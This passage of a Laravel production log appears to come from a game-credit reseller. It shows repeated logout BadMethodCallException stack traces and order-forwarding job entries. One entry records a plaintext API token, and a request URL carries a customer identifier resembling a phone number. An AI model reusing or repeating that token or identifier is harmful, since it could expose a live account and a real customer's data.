#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:16:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00"} 
[2026-03-24 22:16:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","total_operations":1,"sites_count":1} 
[2026-03-24 22:16:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-ILN7-1774379733"]} 
[2026-03-24 22:16:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:16:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:16:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ILN7-1774379733","operation_id":164330} 
[2026-03-24 22:16:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ILN7-1774379733","operation_id":164330,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:16:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ILN7-1774379733","operation_id":164330,"processed":0,"errors":0} 
[2026-03-24 22:16:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Jhsnf0bEBqFfO5pM3zVAwrrnjkjGmibj","execution_time":"2026-03-24 22:16:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ILN7-1774379733","operation_id":164330} 
[2026-03-24 22:16:04] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:16:06] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:16:10] production.INFO: Constructing job for order: 179458  
[2026-03-24 22:16:12] production.INFO: Handling job for order: 179458  
[2026-03-24 22:16:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:16:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:16:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=fa32d407-8957-457c-a5ee-5654d423b93f&Player_ID=0940162302  
[2026-03-24 22:16:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=fa32d407-8957-457c-a5ee-5654d423b93f&Player_ID=0940162302","has_body":false} 
[2026-03-24 22:16:13] production.INFO: Operation sent successfully {"operation_id":164331,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ah6ud-1774379773","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:16:13"}},"processed_data":{"order_number":"ORD-Ah6ud-1774379773","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:17:11] production.INFO: Constructing job for order: 179460  
[2026-03-24 22:17:13] production.INFO: Handling job for order: 179460  
[2026-03-24 22:17:13] production.ERROR: API failed for order 179460 {"order_id":179460,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179460, 885, 1, '48015fc8-3212-4...', '[{\"key\":\"userna...', 31, 314)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179460)
